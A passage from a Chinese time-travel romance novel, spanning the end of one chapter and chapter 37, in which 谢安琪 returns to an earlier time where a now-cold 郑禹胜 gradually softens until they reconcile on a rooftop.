谢安琪坐下后,郑禹胜顺势抱住她,头轻轻抵在她肩上,那一刻,谁也没说晚安,但这动作,比任何一句晚安都要沉。谢安琪慢慢放松下来,呼吸渐渐平稳,头靠在他肩窝里。郑禹胜能感觉到她轻轻的呼吸打在锁骨处,带着一点点温热。 郑禹胜闭着眼,手指轻轻摩挲她背后的布料,仿佛在确认她是真的在他怀里。曾经,他觉得拥抱只是一个形式,是戏里的动作,是某种剧情安排的需要。可现在,他才发现,这样简单的一个拥抱,能胜过所有台词。 他微微低头,贴近她的头发,轻声开口:“谢谢你,回来了。” 谢安琪没有回答,只是呼吸更深了一些,像是听见了,却又用另一种方式回答了他。 深夜时分,窗外偶尔有出租车驶过,带着一点湿润的风声,郑禹胜没有睡着,只是静静地看着她的侧脸。谢安琪的睫毛因为呼吸微微颤动,嘴唇轻轻抿着,脸色因为屋里暖气透出一点浅红。 郑禹胜忽然有些心动,想吻她,但只是忍住,把她抱得更紧了一些,他在心里默默想:如果这一秒就是他们唯一被记住的画面,他也愿意,就算只是一瞬,也要在场,这念头让他胸口发热,却同时也觉得心里很安定,郑禹胜终于闭上眼,带着这种情绪,悄悄睡去。 …… 清晨的第一缕光透过纱帘洒到沙发上,谢安琪先醒过来,抬头看见他还在安稳地睡着,她凑近郑禹胜,看着他放松下来的脸,轻声说了一句:“你在梦里等我吗?” 没有回答,只有他平稳的呼吸声,谢安琪轻轻笑了一下,没再吵醒他,她小心地把自己的手从郑禹胜怀里抽出来,却还是被他下意识抓回去。 “别走。”他闭着眼,声音低哑,却清晰,谢安琪愣了一下,慢慢重新靠近他,把额头轻轻抵到他锁骨处。 “我不走。”她轻声说。 那一刻,谢安琪感觉到,自己的心跳和郑禹胜的完全重合了。直到快中午的时候,郑禹胜才起来,他们一起坐到餐桌前,桌上是简单的吐司和煎蛋,谢安琪伸手拿面包时,忍不住笑了:“我们好像越来越像真正的夫妻了。” “不是好像,本来就是。”郑禹胜纠正。 她看着他,忽然认真起来:“那我们以后,一直这样吧。” “这样是怎样?” “这样一起吃早餐,一起逛夜摊,一起去校园散步,一起讨论未来……哪怕平凡,也一直一起。” 郑禹胜看着她,眼底的光一点一点化开。 “好。”他说,“一直这样。” 那一瞬间,谢安琪觉得,自己终于停下来了,终于和他走在同一条时间线上,她把这一幕深深印在脑海里,就算未来再多未知,就算被记住的只有一瞬,她也愿意,因为那一瞬,她在场。 …… 这天阳光很明亮,空气里带着些凉意,谢安琪突然提议:“我们去吃早午餐吧?” “现在?”郑禹胜抬头看她,刚才不是才吃了一些吗? “嗯,我记得你以前说过,有一家小众的店,番茄烤吐司很好吃。” 郑禹胜愣了两秒,嘴角慢慢弯起来:“你还记得啊。” “当然记得。”她拍了拍包,拿起外套,“走吧。” 他们坐地铁过去,人不多,只有几对情侣和三三两两的学生,那家早午餐店开在小巷里,没有显眼的招牌,进门时,玻璃门被风推得轻轻响了一声,像是欢迎他们,谢安琪挑了窗边的位置坐下。阳光从大玻璃窗透进来,洒在桌面上,反射在她手背上,显得特别细致温柔。 她翻着菜单,指了指那个熟悉的番茄烤吐司,“这个要一份。” “还有这个水果沙拉,你不是说最近要多吃水果吗?” “好。”郑禹胜笑着看她,“今天我很听话。” 谢安琪看了他一眼,忍不住笑了:“那请你一直都这样听话。” 郑禹胜没再说话,只是伸手帮她整理掉脸颊旁的一缕头发,那动作自然到好像已经重复过很多次,带着微微的熟稔和笃定。他们很安静地等餐点上桌,但这种安静并不冷,而是像被一层薄薄的暖光裹住。 “以后如果每天都能吃到这样的早餐,好像也不错。”谢安琪一边吃番茄,一边认真说。 “以后可以每天做。”郑禹胜回答。 “你会吗?” “我可以学。” 谢安琪笑了,轻轻拨了一下他手背,“你学做饭的样子,应该也很好笑。” “那你就每天都笑好了。”他看着她,语气里带着一点宠溺的意味。 “会不会以后我笑腮帮都掉下来?” “我帮你接着。” 谢安琪低头笑着,手指点在桌面上,指尖轻轻敲着,像是给这场对话加节奏,他们聊着未来的生活,聊到很小的事,比如一起选什么口味的果酱、要不要每天早上跑步,这些琐碎,却让她觉得比任何华丽的剧本都更真实。谢安琪忽然歪头问:“如果以后有孩子,他会不会也喜欢吃番茄烤吐司?” 郑禹胜愣了愣,眼里闪过一瞬柔光。 “可能会吧。” “会不会觉得这种早餐太简单?” “不简单。”他摇头,认真地说,“这是有人为他准备的早餐,比什么都贵重。” 谢安琪盯着他看了几秒,忽然伸手托住下巴:“你真会讲。” “我说的是真的。” “那如果有一天,他不喜欢了呢?” “那就换别的,或是一起去找新的喜欢。”他说,“就像我们现在一样。” 她的眼底闪过一点湿意,随即低下头,用叉子戳着盘里的水果,这话题只是一闪而过,但他们都清楚,这份以后已经在心里慢慢发芽,吃完后,她走到柜台结账,他跟在后面。 “下次还要来吗?”她问。 “你想来,就来。” “那以后每次都换不同的店试试看,好不好?” “好。”他笑着看她,“只要是和你,就好。” 谢安琪推开门,风吹进来,把她围巾吹得有点乱,郑禹胜伸手替她整理,动作很慢,像是怕碰碎什么,整理好后,他忽然低头,轻轻在谢安琪额头上碰了一下。 “走吧。” 那一下轻得几乎没有重量,却让她心口发热,脸颊染上微微红,他们并肩走进街道,阳光在两人影子上交叠。这小小的早午餐冒险,看似简单,却让她觉得,每一步都在未来的长路上留下了坚定的印记。 从早午餐店出来后,两人一起去了附近的大超市,谢安琪推着小推车,郑禹胜走在她旁边,一路拿着购物清单时不时补充建议。 “青菜要买两把吗?”她问。 “再多一把吧,最近你爱吃菜汤。” “你什么时候注意到这个的?” “看你每次汤都喝光就知道了。” 谢安琪愣了一下,随即小声笑起来,拿了一把青菜放进车里,走到冷冻区时,她随手拿了一盒草莓,“上次我在屋塔房吃过这样的冷冻草莓。”她边走边说,“那时候我以为,酸甜的草莓冻过后会不好吃。” “可你还是回来了。” “是啊。”谢安琪顿了顿,回头看郑禹胜,“我好像每次都以为,离开的那一刻是真的离开,结果总会回来。” “以后,就不要再走了。” “那如果我想吃更多冷冻草莓怎么办?” “那就一直买给你。” 谢安琪噗嗤一声笑了,手指点了点他手背,推着购物车继续往前走,排队结账的时候,谢安琪看着购物车里那些简单的蔬菜、泡菜、牛奶、草莓,还有一小盒巧克力。 “我们是不是过得太简单了?”她轻声问。 “不简单。”郑禹胜凑过来,几乎贴到她耳边,“和你一起的每一件小事,都是完整的生活。” 谢安琪脸微微发烫,低头避开郑禹胜的目光。 “你别讲这些,我会忍不住想哭。” “那就哭吧,我在。”郑禹胜低声说。 谢安琪用手背轻轻敲了下郑禹胜的手臂,却没有再说话,收银员看着他们,露出浅浅的笑,没有多问,只是轻快地结账。那一刻,她觉得,连这日常里最不起眼的一角,也都变得温柔而完整,回到家后,她提议去阳台坐一会儿。 两人一人拿了一杯温水,坐在阳台边缘那几把塑料椅上,看着城市慢慢被夕阳染成温金色。 “好像很久没这样一起看日落了。”谢安琪抿着杯口,说话时呼出的气让玻璃起了一层雾。 “是啊。”他看着远处,“我一直都在拍戏,习惯了夜晚才回家。” “那你会不会后悔?” “不会。” “为什么?” “因为再多戏也比不上你。” 谢安琪握紧杯子,轻轻偏头看他,眼里藏着闪烁的光,她吸了吸鼻子,心底忽然很轻,很暖。 屋顶风有点凉,她把腿缩起来,把杯子放到脚边,郑禹胜解开外套,轻轻搭到她肩膀上,她没有推开,只是偏头靠到他肩上,声音小到几乎被风吹散。 “其实我很久之前就想问你,你为什么一直都这么笃定?” “因为我在很久之前就选好了你。”郑禹胜说,低头看她,“无论你是不是那个总会回去的你,我都想等。” “那如果哪天我不再回去了呢?” “那就更好。”他笑了一下,“因为我终于能抓住你。” 那一句话被风裹着,像是飞到了天边,却重重落进她心里,谢安琪闭了闭眼,她从假设时间旅行开始提问,但是郑禹胜每一次都肯定着她的假设是现实,但即便是现实,他也相信着谢安琪会一直在他身边,想到这她睫毛轻轻颤着,心里不在逃避,最终轻声说:“那以后,就一直被你抓住吧。” 夜色彻底落下,屋顶的灯亮起来,照出他们靠在一起的影子,谢安琪起身,拍拍外套上的灰,抬头看他:“走吧,回屋吧。” 郑禹胜伸手握住她的手,两人慢慢走回屋里,快到门口时,她忽然停下,回头看了看漆黑的夜空。 “怎么了?”他问。 “没什么。”她轻轻摇头,“只是突然觉得,今晚的星星比以前更近了一点。” “那是因为,你不再躲着看。” “是吗?” “嗯。”他拉住她,轻声说,“今晚,不是梦,是我们真正一起在这里。” 谢安琪抬头看他,眼睛湿润,却笑得特别轻。 “走吧。”她说,他们牵着手,走回那个亮着灯的房间。 37.第37章 谢安琪再次醒来的时候,窗外透进来的光线有点冷,夹杂着一种怪异的潮湿。 她慢慢坐起来,看着眼前的一切,愣了很久,才意识到自己又回到了过去。她看着床边的杯子,熟悉的旧水杯,杯底结着一层薄灰,像是很久没人碰过。还有屋塔房四处堆积的尘土、略显陈旧的家具,她抬头望向天花板,那层熟悉的裂纹还在,心里像被一根线悄悄拉紧。 ‘我回来了?’谢安琪忍不住皱眉,她起身走到窗边,看见对面那条狭窄的小巷,晨光斜斜落下,照出街上那些来回搬运便利店的车和兼职生们,偶尔有卖酸奶的阿姨骑着小车缓缓经过。 一切都像一场重新播放的老录像,但谢安琪看着周围,很难找东西去确定时间,直到看到屋子里留着的按键手机,她拿着手机充电,直到充电完成看到时间,谢安琪确定这里距离她上次来,已经过去了两年。 谢安琪走出屋塔房,穿过小巷,在街角停下来,墙上贴着一张褪色的电影宣传海报,最下面的演员表里,她看见了郑禹胜的名字。 那一刻,她胸口微微发紧,两年前,他还在便利店打工,在她几次说时间旅行的事情时,会用略带孩子气的口吻冲她抱怨:“要是再不回来,我就去别的时间线找你。” 可现在,他已经成为电影男主角,站在更远更高的地方。她盯着那张海报,指尖沿着他名字的每一个笔画滑过去,呼吸不由地慢了下来。 心底忽然有一阵轻微的凉意。她轻轻抿唇,努力让自己镇定,转身准备回屋塔房,心里一半是期待见到他,一半又隐隐有些发怵,回到屋塔房的傍晚,她在楼梯口听见有人上楼的脚步声。 谢安琪停住动作,整个人几乎绷住,转角处,一个高挑的身影出现,肩膀上搭着外套,手里拿着一杯咖啡,动作看似随意,却又充满克制。他抬眼的瞬间,视线和她撞在一起。 两人谁都没有先开口。 她张了张嘴,却没能发出声音,只是下意识想走近。郑禹胜先移开了视线,脚步微顿,却很快继续往上走,经过她身边时,鼻尖带过一阵微弱的咖啡香。 他的呼吸明显一紧,但背影没有任何停留,她听见自己心底砰的一声,像有什么东西碎开了,等他走远后,她靠着墙,小心地呼出一口气,指尖微微发凉。 …… 第二天,谢安琪去附近市场买了一点青菜和面,准备简单煮一碗汤面。 刚回到屋塔房门口,听见有人在楼下喊“禹胜!你又回来了?好久不见了,最近有去演什么新的戏吗?” 她愣住,慢慢转身,看见郑禹胜正站在楼下,帽檐压得很低,手插在裤兜里,看起来比记忆中更高更瘦,气质也更锋利。 听到朋友的喊声,他懒得回应,只是略微点了下头,随后抬眼,视线再次和她撞在一起。这次,她鼓起勇气,抬手微微挥了一下:“好久不见。” 他眉心微不可察地皱了下,视线冷冷扫过她,却没说一句话,脚步也没停。她的手僵在半空,最后慢慢放下。 周围行人走过,没有人注意到这一幕。谢安琪咬着下唇,眼眶有点热,却忍住没有掉泪。 夜里,她把剩下的青菜和面煮成汤面,坐在木桌边吃了几口,却觉得味道比任何时候都要寡淡。 窗外的风吹进来,她想起以前郑禹胜总会笑着抢她碗里的面,说“这什么怪味,你是不是把盐当糖了?”想到这里,她停下筷子,手指紧紧攥住桌沿。 …… 傍晚,楼下传来搬东西的动静,谢安琪悄悄走到窗边,隔着昏黄的街灯,看见郑禹胜拎着两个箱子,走进屋塔房旁边那间空房。 那一瞬间,她突然明白,他还是回来了。也许他嘴里说着冷漠的话,脚步里却藏不住想靠近的渴望。 屋顶上的风依旧冷,但她心底那点柔软,悄悄被某种小小的火焰点亮。 谢安琪在屋顶晾衣服,一件件旧衬衫被风吹得轻轻摆动,阳光浅浅洒在水渍还未完全干透的布料上。她抬头时,正好看见对面房间的窗帘被人轻轻拉开。郑禹胜站在那里,靠在窗边,手里还拿着刚拆封的剧本。 两人四目相对。她努力扬起嘴角,朝他轻轻挥了一下手,试图像之前那样轻松打招呼。 郑禹胜目光停顿了一瞬,像是在压抑什么,随后用力拉上窗帘,动作显得有点急。谢安琪的手停在半空,最后缓缓垂下。 心里像是被风吹过一片空旷,她缓缓呼吸,却发现眼眶还是热了。她转身收起最后一件衬衫,安静地抱在怀里,低头回到屋子里。 谢安琪也不知道自己这次能呆多久,但还是清扫了屋塔房。去超市采购了很多东西,回来的时候刚到二楼拐角,就看见郑禹胜提着一袋刚买回来的面包和即食汤。 狭窄的楼梯让他们不得不靠得很近,她停下脚步,看着他。 “需要帮忙吗?”谢安琪小声问。 “走开。”他低声回了一句,没看她,只是微微偏过身。她咬了咬嘴唇,挤过去时,手指不小心碰到他的袋子,袋子里的面包轻轻晃了一下,差点掉出来。 她慌忙伸手扶住,迅速帮他把袋子重新提稳。 郑禹胜目光紧盯着袋口,没有说话,指节微微收紧,连呼吸也慢了半拍。等她走过他身侧,他没有立刻走上去,而是缓了几秒,才继续抬脚往上。背后,谢安琪停在楼梯下的转角,听着他逐渐远去的脚步声,抬起头,眼里闪过一点无奈和难过。 …… 夜里,她失眠,在小屋里来回走动。她忽然走到窗前,拉开窗帘,看到对面郑禹胜房间的灯还亮着。隔着几米远,她看见他正伏在桌上写东西,额前的头发被小台灯照得发亮。 郑禹胜停下笔,抬头看向窗外,似乎是感受到她的目光。 他们对视了一秒,谢安琪想抬手,可指尖只是轻轻抖了一下,最终没有动作。他似乎要说什么,唇微微动,却又低下头,拉上了窗帘。 灯光透过窗纱,变成一团朦胧的暖色。她慢慢靠在窗边,抱住自己,闭上眼。在那一刻,她忽然觉得,比起他嘴里说的冷漠,他的沉默更让人难受。 外面风声呼啸,吹动窗框,发出轻轻的嘎吱声,像是有谁在门外等她。 她想起刚来这里时,郑禹胜用很孩子气的语气冲她喊“快点下来,我帮你买了甜豆奶”。 而现在,她只能听见风声,心跳却像当时一样慌乱。她放下笔,手背在桌面上轻轻摩挲,闭上眼,想象他此刻的表情。那种别扭的、笨拙的、即使嘴硬却忍不住靠近的样子,正是她想见的。可谢安琪也明白,他现在的自我保护像是一层厚厚的壳,她只能一点点等,等他打开。 有一晚,谢安琪坐在屋顶喝温水,风吹乱她的头发,她用手抚顺,却一直低着头。 楼道里忽然传来轻微的脚步声,她抬头,看见郑禹胜缓慢走上来。他看到她的瞬间,脚步明显顿了一下,似乎在犹豫是否转身。谢安琪轻轻站起来,把杯子放在一旁。 “你来了……我记得你喜欢吃这个,要吃吗?”她轻声说,手里拿着一包吃的给郑禹胜,郑禹胜咬着后槽牙,表情里藏着克制。 “那是很久以前的事了,我现在不喜欢了。”他声音低沉。 “可对我来说,好像昨天。” 风吹过他们之间,吹开积攒已久的空气。谢安琪走近一步,呼吸有点乱,眼里有湿意:“对不起,那天我没能告诉你,我不是想走,我也不想消失。” 他抿唇,眉头紧蹙,嗓子动了动,却没发出声音。他们之间,只剩下月光和那声几乎被风吹散的对不起。郑禹胜搬回来后的几天,屋塔房楼道里多了许多生活的细碎声响。 有时候是深夜回来的钥匙声,有时候是清晨鞋跟轻点过楼梯的声音。谢安琪在屋里整理书本时,总会不自觉停下动作,屏住呼吸,等那些声音慢慢走远。她在心里暗暗想,他是不是也和自己一样,每一步都在偷偷留意对方。 每当她拉开门,想在楼道里偶遇时,总会碰见他一脸冷淡地抱着剧本,背脊挺直地经过。她会假装若无其事地说一句早上好,从一开始的不搭理,变成大多只是轻轻“嗯”一声,步伐却慢下来,像是习惯性地等她先下楼。她看见他耳根后面总会泛出一点浅红。那个小小的颜色,是她每天唯一的安慰。 …… 午后,屋塔房顶晒着被单和衣服,白布在风里荡着,像一排无声的旗帜在爱情里先做了决定,谢安琪把最后一件衬衫挂上去,转身的时候,看到郑禹胜正靠在楼梯口的栏杆上,低头看手机。 他抬头的那一刻,目光一闪而过,却没有退开。 “天快黑了,衣服可能收不干。”郑禹胜忽然开口。 “没关系,风大,也许会干得快一些。”谢安琪回答。 郑禹胜微微动了动手指,像是想说什么,最终只是别过脸,把手机重新收进口袋里。她看着他转身回房,心底像被一根线轻轻拨了一下。或许,有些关心,是无法用言语表达的,只能留在这些小小提醒里。 晚上,谢安琪提着买回来的米,刚走到楼梯中段,脚下一滑,险些摔倒。她惊呼一声,还没站稳,就被一只手猛地拉住。她抬头,看到郑禹胜皱着眉,手臂还紧紧抓着她的手腕,力道大到让她感觉到一点疼。 “你看着点脚下。”他的声音低哑,语气里带着明显的责备。 “我……我没注意。”她结结巴巴地说。 他松开她的手,盯着那包米看了一眼,嘴角微微下沉,像是忍了很久的脾气终于要爆发。 “以后再这么不小心,我不会再帮你。”他说完,转身就走上楼。 谢安琪愣在原地,听着他脚步声消失,过了很久,才慢慢抱紧怀里的米袋。心底那种被轻轻刺痛的感觉,慢慢流进每一根指尖。 郑禹胜回到房间后,把门关上,靠着门背后站了很久。指尖还残留着刚才握住她手腕的余温,心口像有一团烧得很慢的火。他走到窗边,轻轻拉开一点窗帘缝,透过那道小小的视线,看到谢安琪还站在楼道里,她低着头,好像在调整呼吸,过了很久,才缓慢走回屋塔房。 郑禹胜把窗帘重新放下,抬手捂住额头,指尖因克制而微微发抖。他不是不想靠近,只是害怕,一旦再靠近,就没有退路。她的存在,对他来说,就像悬在夜空的月亮,光很柔,却让人无法忽视。 夜里,他房间的灯亮着,隔壁她的房间也透出一丝微弱的灯光。他隔着墙,听见她似乎在翻书或者轻声哼歌,声音断断续续,却奇怪地让他觉得安心。他靠在床头,把剧本摊开,却一页也看不进去。 手指在剧本边缘一遍遍摩挲,像是借此平复心底翻涌的情绪,忽然,他轻轻开口,声音小得连自己都听不清。 “再走的话,我也不会再等了……”说完,他闭上眼,把书轻轻合上,但心里知道,只要她出现了,其实自己还是会回来。夜风吹过窗缝,房间里那盏小灯照着他微微蹙起的眉,像是一道被困住的月光。 夜晚,谢安琪心血来潮,煮了一碗汤面,端到楼顶去吃,风吹得很大,她用手捂住碗边,小口吹着热气,喝得极慢。她想起很久以前,两个人也这样一起坐在屋顶,一碗面总要抢着吃,最后她总是被他嫌弃吃得慢。 吃到一半时,她听到身后有脚步声,谢安琪没有回头,只是继续慢慢吃,直到听见他在背后冷冷说:“风这么大,谁让你上来的?” 她没答话,只继续喝汤,他走过来,站在她身侧,看着那碗快要凉掉的面,皱了皱眉:“这种东西,凉了不好吃。” “我知道。”她小声说,声音几乎被风吹散。 他看着她,欲言又止,最终只是转身走开,谢安琪抬头望着他离开的背影,眼睛酸胀,却露出一点点轻到几乎看不见的笑。 第二天清晨,天气突然下雨,她出门时,没有带伞,只能用书包挡着头快步走到街角的小店,回来的时候,雨下得更大,她躲在便利店门口,犹豫要不要冲回去。 这时,一把黑色伞忽然出现在她头顶,谢安琪抬头,看见郑禹胜表情很冷,但手腕明显因为撑伞而用力。 “走吧。”他低声说。 谢安琪跟在他身边,伞几乎全部偏向她那边,他的肩膀被雨水打湿,衣料贴在皮肤上,她忍不住伸手去拉伞柄,却被他一下打掉。 “别动。”他的声音比雨还低沉。那一瞬间,她的心被紧紧攥住,连脚步都放得很轻。回到屋塔房门口,她正想开口道谢,他已经转身准备上楼。 “郑禹胜……”她叫住他。 他停住脚步,没有回头,只微微偏了偏头。 “谢谢你。”她的声音很轻。 他僵了两秒,肩膀微微颤动,却没有回答,快步走上楼。 谢安琪看着他消失在转角处,才慢慢呼吸。身上湿透的外套被她抱在怀里,她闻到雨水混着他身上沐浴乳的味道,心里慢慢涨满,又酸又暖,她把额头轻轻贴在门上,闭着眼,小声说:“谢谢你,还是会回来。” 淋雨后身体也变得不舒服,谢安琪蜷在被子里,听到有人在台上喊着台词,听到观众笑声和掌声。她忽然想起郑禹胜在排练场里练习发声的样子,他总是一个人默默练习,每次练完会躲到后台一角,背着所有人大口喝水,眉心还在绷着,想到这里,她不由地笑出声。 那笑声很轻,像是试探,也像是自我安慰,她看向窗外,灯火零星,屋顶的风声被收音机里的笑声渐渐压住,终于平静下来。 快要入睡时,她听见门外楼道传来轻轻的脚步声,脚步声不急,也没有太重,像是有人在门口徘徊,谢安琪屏住呼吸,听着那声音从她房门口停了几秒,然后继续往上走。 她想起那天他冷着脸拉住她手腕的样子,也想起楼顶上那碗汤面被风吹凉后他别过头的背影,她轻轻拉起被子,抱在胸口,眼底慢慢湿润。 风从窗缝里灌进来,她轻声说了一句:“你会记得我,对吧?”没有人回应,但她还是笑了,带着一点难以言说的心疼和满足。 …… 日子就这样,在一九九四年的日子总是让她觉得没有那么习惯,或许是还没有习惯年轻的他突然变得冷漠起来?傍晚,她在屋顶收衣服时,风忽然大了起来,一条白色的毛巾被吹得飞向楼下。 她愣了一秒,急忙跑到栏杆边看,却只看见楼下空荡的水泥地,谢安琪正想下楼去捡,刚走到楼梯口,就看见郑禹胜正拎着那条毛巾往上走。风把他头发吹得凌乱,他抬头时,表情有点恼,但目光里透着无法掩饰的柔软。 “你怎么总是这么不小心。”他把毛巾塞到她手里,声音冷冷的。 “谢谢……”她捧着毛巾,声音小到几乎听不见。 郑禹胜没再说什么,转身要走,却在下一步时顿住,她站在他背后,看着他肩膀微微抖动,似乎在压抑什么情绪,她轻轻抬起手,想要伸过去,可终究只是僵在空中,没碰到。 夜里下起小雨,敲打屋顶的声音密集而细碎,谢安琪窝在屋里,看着那条毛巾,还带着他手心残留的温度。她心里涌出一种说不出的冲动,想跑到楼下去告诉他,自己真的很想再多靠近一点,但她只是抱着毛巾,静静坐着。 窗外的雨像是替她把那些未说出口的情绪敲在屋檐上,敲进心底,她轻轻对着窗外低声说:“如果下一次我再消失,你一定要再找我。” 后来,她听到楼道里传来他的脚步声,赶忙跑到门边,门还没完全打开,他就抬头看见她,表情先是错愕,随即又冷了下来。 “我……我想谢谢你昨天帮我捡毛巾。”谢安琪把话题递出去,手指微微颤抖,对于他的回答,心里带着期待,又担忧他会不搭理自己,郑禹胜没有接话,只是盯着她,喉结上下滚动了一下。 “以后不要再这样了。”他终于开口,声音低而闷,“这算什么理由?” 谢安琪愣了愣,本想开口说“别走”,可那句话最后卡在喉咙里,化成一声很轻的呼吸。他看着她,似乎是没有等到什么想听到的,眼底像有一片阴影闪过,最终只是转身,快步上楼。 但后来她下楼扔垃圾,发现门口地上有几道湿漉漉的脚印,形状和他的鞋码一模一样。她蹲下来,眼神轻轻划过那些还未干透的水印,脑子里忽然闪回到很多年前的画面,那个总爱跟在她后面、被她揶揄太黏人的年轻男孩。 她抬头望着楼梯口的黑暗处,鼻子一阵酸,连呼吸都乱了,谢安琪想,他其实一直都在看着她,只是装作没有在意。她收回手,慢慢站起来,把那几道脚印深深记在心里,像是记住了他一次又一次试图靠近却又躲开的脚步声。 …… 那夜,谢安琪坐在床边,双手抱着膝盖,额头抵在臂弯里,呼吸很轻很浅,她终于明白,他的冷淡只是他能想到的唯一保护方式。他害怕她再一次消失,害怕那种无声的告别,害怕那份不能确认的未来。 她抬起头,看着屋顶反射的微光,嘴唇动了动,像是在回答一场无声的提问。 “我无法承诺我不会再走了。”她轻声说,“但是,我们本来不就在一起了吗?” 那句话像是一种对自己、也是对他,最坚定的允诺,谢安琪缓缓躺下,轻轻合上眼。大概是心里藏着事情。谢安琪睡得很浅。她梦见自己在屋顶等人,风很大,天黑得看不见边。 梦里,她始终在等,却没等到谁,突然一阵凉意把她惊醒,她发现自己竟不知什么时候走到了屋顶。夜风刺骨,她只穿着一件薄毛衣,脚上还是室内拖鞋。她走到屋顶边缘,想坐下休息,却一脚踩到湿滑的砖缝,整个人踉跄向前。 心底瞬间浮出一股冷意,她来不及发出声音,身体已经失去平衡,她的手指胡乱抓住身边的铁栏,但力量根本不足以支撑,那一瞬间,她想到的不是疼痛,而是那句未能说出口的别走。 就在她快要摔倒的一刻,一只手猛地抓住她的胳膊,用力把她往后拉。 力道大到让她的肩膀一阵发麻,但她稳住了,等她抬起头,看见郑禹胜正紧紧握着她,眼睛里有一闪而过的慌乱和压抑的怒意。 “你是疯了吗?!”他的声音嘶哑,震得她耳膜微微发疼。 谢安琪张了张嘴,却发不出声音,只能看着他,他把她整个抱进怀里,动作用力得像要把她揉进骨血。胸口的起伏越来越剧烈,她感觉到他的颤抖,那是比风更猛烈的、不安的颤抖。他把她拉回屋顶中心,放到那张旧木椅上,蹲下来看着她。 “你是不是以为每次都有人来接你?!” “你是不是觉得你可以一次又一次消失,然后再回来?!你以为我会一直站在这里等你吗?!” 他的声音很重,每一个字都带着浓烈的愤怒和委屈,像是长久被压抑的洪水,终于找到了出口,谢安琪想抓住他的手,但他猛地甩开,背过身,手狠狠抹了一把脸。 “我不管了!”他低吼,声音几乎要碎开,“以后你再走,我也不会再找你了!” 她听着,心底一阵一阵发紧,整个人抖得更厉害,谢安琪终于忍不住,扑过去从后面抱住他的腰。 “对不起……对不起……” 声音小得像风里碎掉的纸片,却一遍一遍地挤出来,谢安琪的脸埋在他后背,泪水打湿了他薄薄的衬衫。郑禹胜的身体僵了很久,手指缓慢抬起,却停在半空,迟迟没有落下。 “我不是……我不是想走……”她啜泣着,“我没有办法控制……每一次都是被迫的……我也很害怕……” 那些被压在心底的话,终于像潮水一样涌出,他缓慢地转过身,脸上写满了疲惫与难以言说的脆弱,她还在哭,手还紧紧揪着他的衣摆。 “对不起……”她哭着重复,声音已经快要消失。 郑禹胜深吸一口气,手终于落到她后颈,把她整个人拉到自己怀里。 “别说了……”他的声音低下去,像是一句轻轻的恳求。 她抬头,泪水糊在睫毛上,眼睛红得像被风吹过的花瓣,谢安琪轻轻开口,声音颤抖却坚定:“如果以后……如果以后你再看到我,无论在哪条时间线,无论我认不认识你,一定要找我,好吗?” 他盯着她,喉结微微上下动了动,眼里闪过一片湿意,过了很久,他低声嗯了一声,带着颤抖,却无比坚定。她靠在他怀里,风从屋顶吹过,带走了屋檐上积着的水珠,发出细小的滴落声。郑禹胜的手指缓缓收紧,像是害怕一放开,她就会消失不见。谢安琪的呼吸依旧急促,她的手一直攥着他胸前的衣料,指尖已经因为用力而发白。 “你别走……”他忽然低声说,声音很哑,却清晰得像一记心跳。 她抬起头,看见他的眼角微红,神情中那股倔强逐渐溃散,谢安琪轻轻应了一声,哽着喉咙:“嗯,我不走。” 他们贴得很近,呼吸都缠在一起,像是终于找回了属于彼此的气息,郑禹胜低下头,额头抵在她的额头上,他几乎是用气音喊出她的名字:“安琪……” 这是第一次,他主动这样叫她,她的眼泪又涌了出来,手抬起,轻轻抚过他的侧脸。 “谢谢你……还愿意等我。”她颤抖着声音说。 他没有回答,只是轻轻闭上眼,呼吸混在她脸侧,带着一点点咸意。那一瞬间,所有尖锐、所有怀疑、所有被时间拉扯的裂缝,都在这个靠近里安静下来。 他们回到她的屋塔房时,夜已经很深,郑禹胜一直半抱着她,像是怕她再出什么意外,他帮她找出毯子,盖在她的肩膀,动作比任何时候都要慢。 “以后别再随便跑上去。”他低声说,像是命令,又像是在哀求。 “好……”她轻声答,喉咙还有哭过后的沙哑。 郑禹胜抬头看她,神情缓缓变得更柔和,他伸手,帮她理了理乱掉的发尾,指尖在她发丝间停了几秒,像是不舍得放下,屋子里只开着一盏昏黄的小灯。谢安琪坐在床沿,郑禹胜站在她面前,看着她,眼神柔得几乎要融化,过了好一会儿,他缓缓弯腰,双手撑在她两侧,把自己缓缓靠近她。 “以后,不许再说再见。”他低声说。 “好。”她几乎是立刻回答,声音轻到只有他们两人能听见,郑禹胜低头,轻轻吻上她的额头,动作很慢,像是确认,也像是一场等了很久的接纳。吻结束后,他没有退开,而是把额头贴着她的,呼吸缓慢而沉。 “我会记住你说的话。”他轻声说,“我会找你,无论在哪条时间线上。”谢安琪抬头,看着他近在咫尺的脸,心底忽然生出一股说不出的坚定。 “我会等你,无论在哪里。”她回。 屋外的风还在吹,带着屋顶雨水的味道。他们安静地靠在一起,谁都没有再说话。那一刻,时间像是突然失去了重量,只剩下两个人缓缓起伏的呼吸声。就算未来再错乱,记忆再错位,他们都知道,这一刻,是属于彼此的永恒,谢安琪轻轻推开他一点,指尖缓慢摩挲他手背。 “你以后,会不会还是会怪我?”她声音很轻,几乎要被夜里的风声淹没。 “会。”他没有犹豫,低声回答,谢安琪愣住,看着他,呼吸停滞了一秒。 “我会怪你,怪你不告诉我什么时候回来,怪你每次都突然消失,怪你让我一个人习惯等待。” 她低下头,眼角缓缓滑落一滴泪,可下一瞬,他抬手轻轻托住她下巴,让她抬头。 “但我还是会等你。”他看着她,眼神坚定,“就算怪你,我也只能选等你。” 他转身去厨房,找出小锅,烧了一壶水。等水滚的时候,他站在灶前,低着头,指尖有些颤,谢安琪悄悄从后面走来,看着他紧绷的肩膀,伸出手抱住他腰。 “我没走,我还在。”她的声音哑得像是哭过很多遍。 他停了一下,缓缓把火关掉,转身回抱她。 “坐下,我帮你泡点茶喝。”他说,谢安琪乖乖坐到桌边,看着他倒水、找杯子,动作慢得像是怕吵醒一只睡着的小动物。当他把热水放到她面前时,她抬头,眼里盛着光,她捧着热水杯,掌心慢慢暖和起来。 “你还记得第一次我们见面的时候吗?”谢安琪忽然问。 “记得。”他回答得很快。 “那时候,你总是会在便利店偷偷看我,以为我不知道。” “你都知道?”他微微一愣。 她轻轻点头,笑着:“我那时候就在想,这个人怎么那么别扭。” 他没说话,只是低头笑了一声,手指在桌面轻轻敲了两下。 “我别扭,但一直只有一个念头。”他说。 “什么?” “想靠近你,想把你留下来。”他说这句话时,声音几乎听不见。 她的眼神忽然温柔下来,笑得眼角弯成一条细线,他们一起把杯子洗好,他走到窗边,拉开窗帘。外面月亮很亮,挂在黑蓝色的天空上,像是为他们专门点亮的灯。谢安琪走过去,靠到他身侧,看着月光落在屋顶和小巷之间。 